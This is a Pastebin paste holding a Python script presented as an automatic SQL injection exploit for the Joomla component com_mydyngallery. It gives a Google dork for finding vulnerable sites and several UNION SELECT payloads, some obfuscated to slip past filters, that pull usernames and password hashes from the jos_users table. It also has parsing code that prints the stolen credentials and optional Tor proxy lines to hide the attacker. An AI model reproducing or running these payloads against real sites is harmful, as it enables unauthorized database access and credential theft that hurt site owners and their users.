zepek_al

Joomla! com_mydyngallery Auto SQLi exploit (multiple ways)

Nov 8th, 2017
280
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.98 KB | None | 0 0
  1. # Joomla! com_mydyngallery Automatic SQL Injection exploit (multiple ways)
  2. # Skype: live:zepek_al
  3. # Google Dork: inurl:"index.php?option=com_mydyngallery"
  4. # Date: 09/11/2017
  5. # Vulns found by Zepek
  6. # Software link: https://www.joomla.org
  7. # Tested on: all Joomla! versions containing component mydyngallery
  8. # Output will show clear username and MD5:Salt password
  9.  
  10. #!/usr/bin/python
  11. import sys
  12. import time
  13. import socks
  14. import socket
  15. import requests
  16.  
  17. success = False
  18. notvalid = [' ','<','>','{','}','[',']','(',')',';','"','\n','\r','\t','&','\'','\\','/','?','=',',']
  19. target = ""
  20. i = 0
  21.  
  22. def chk_success():
  23.     global i
  24.     if(success):
  25.         print "[+] Exploit succedeed!"
  26.         sys.exit(0)
  27.     i += 1
  28.  
  29. def exploit(path,query):
  30.     global i
  31.     global success
  32.     global target
  33.  
  34.     try:
  35.         url = "%s%s" %(target,path)
  36.         print "\n[*] Running #%i-way exploit (query=\"%s\", path='%s')\n" %(i,query,path)
  37.         r = requests.get(url, headers=headers, timeout=20)
  38.         if(r.status_code == 200 and r.url == url):
  39.             url = "%s%s%s" %(target,path,query)
  40.             r = requests.get(url, headers=headers, timeout=20)
  41.             if("::::" in r.text):
  42.                 s = r.text
  43.                 for x in range(0,len(s)-4):
  44.                     if(s[x] == ':' and s[x+1] == ':' and s[x+2] == ':' and s[x+3] == ':'):
  45.                         if(success is False):
  46.                             success = True
  47.                         user = ""
  48.                         passwd = ""
  49.                         k = x-1
  50.                         while(k >= 0 and s[k] not in notvalid):
  51.                             user += s[k]
  52.                             k -= 1
  53.                         user = user[::-1]
  54.                         k = x+4
  55.                         while(k < len(s) and s[k] not in notvalid):
  56.                             passwd += s[k]
  57.                             k += 1
  58.                         x = k
  59.                         if(len(user) > 0 or len(passwd) > 0):
  60.                             print "-------------------------------------------------------------------------------------"
  61.                             print "[+] Username: %s" %user
  62.                             print "[+] Password: %s" %passwd
  63.                             print "-------------------------------------------------------------------------------------\n"
  64.     except:
  65.         print "[-] %i-way exploit not applicable." %i
  66.  
  67. # Uncomment if you want to run the exploit through TOR
  68. #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9150)
  69. #socket.socket = socks.socksocket
  70.  
  71. print "\n/*================================================================*\\"
  72. print "| Joomla! com_mydyngallery Automatic SQLi exploit (Multiple ways)  |"
  73. print "| Author: Zepek                                                    |"
  74. print "\*================================================================*/\n"
  75.  
  76. target = raw_input("Enter the target (ex: 'http://site/joomla_path/') -> ")
  77. if("http" not in target):
  78.     target = "http://%s" %target
  79. if(target[-1:] == '/'):
  80.     target = target[:-1]
  81.  
  82. headers = {'User-Agent':'Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16'}
  83. i = 1
  84.  
  85. path = ["/index.php?option=com_mydyngallery&Itemid=&task=liste&directory=1","/index.php?option=com_mydyngallery&directory=1"]
  86. queries = ["' union select 1,2,3,group_concat(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 from jos_users`",
  87. "' /*!00000union*/ select 1,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 /*!from*/ jos_users`",
  88. "'%20/*!00000union*/%20select%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%20jos_users`",
  89. "'%20/*!00000union*/%23MadMan%0aselect%201,2,3,group_concat/*!(0x3c62723e,username,0x3a,0x3a,0x3a,0x3a,password)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!from*/%23MadMan%0ajos_users`",
  90. "'+union+select+0,1,2,concat(0x3C703E,username,0x3a,0x3a,0x3a,0x3a,password,0x3C2F703E),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users/*"]
  91.  
  92. for query in queries:
  93.     if(i < 5):
  94.         exploit(path[0],query)
  95.     else:
  96.         exploit(path[1],query)
  97.     chk_success()
  98.  
  99. print "[-] Exploit not succedeed."
Advertisement
Add Comment
Please, Sign In to add comment